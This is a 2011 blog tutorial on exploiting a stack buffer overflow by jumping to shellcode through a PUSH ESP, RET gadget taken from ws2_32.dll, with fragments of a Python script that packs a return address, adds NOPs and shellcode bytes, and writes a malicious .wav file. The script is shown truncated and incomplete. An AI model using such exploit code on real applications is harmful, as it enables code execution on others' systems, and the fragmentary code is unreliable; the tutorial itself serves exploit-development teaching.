Julien Ahrens === @MrTuxracer

Vulnerability Intel | ROP Gadget Hunter | Privacy Enthusiast | Full-time BugBounty hunter | @Hacker0x01 MVH | @SynackRedTeam member | on a world-trip

Buffer Overflow Exploitation: Jump to shellcode via PUSH ESP, RET

16 Dec 2011 » Tutorials

Another possible way to jump to shellcode is using the PUSH ESP, RET technique. If you’ve got no usable CALLs or JMPs to ESP for some reasons, you can first use a PUSH ESP to put the address of ESP onto the Stack and after that RET that value to the EIP. So this is only slightly different to a CALL or JMP, but does the job too.

All we have to do is to find a PUSH ESP, RET (opcode: 54 C3) in the loaded application:


I’ll take one from a system DLL called “ws2_32.dll”. The new Python script looks like this:

from struct import pack

eip=pack('<I',0x71A12B53) #push esp, ret from ws2_32.dll (loaded @71A10000)
nops = "\x90" * 3

shellcode = ("\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1\x1e"

writeFile = open (file, "w")

Start the application and load the malicious .wav (by the way: I used some “\xCC” to break the application - flow here) and have a look at the Stack. The ESP has been pushed onto the Stack @0x1BDFEE4, which points directly to the shellcode. Again: A working exploit :-) !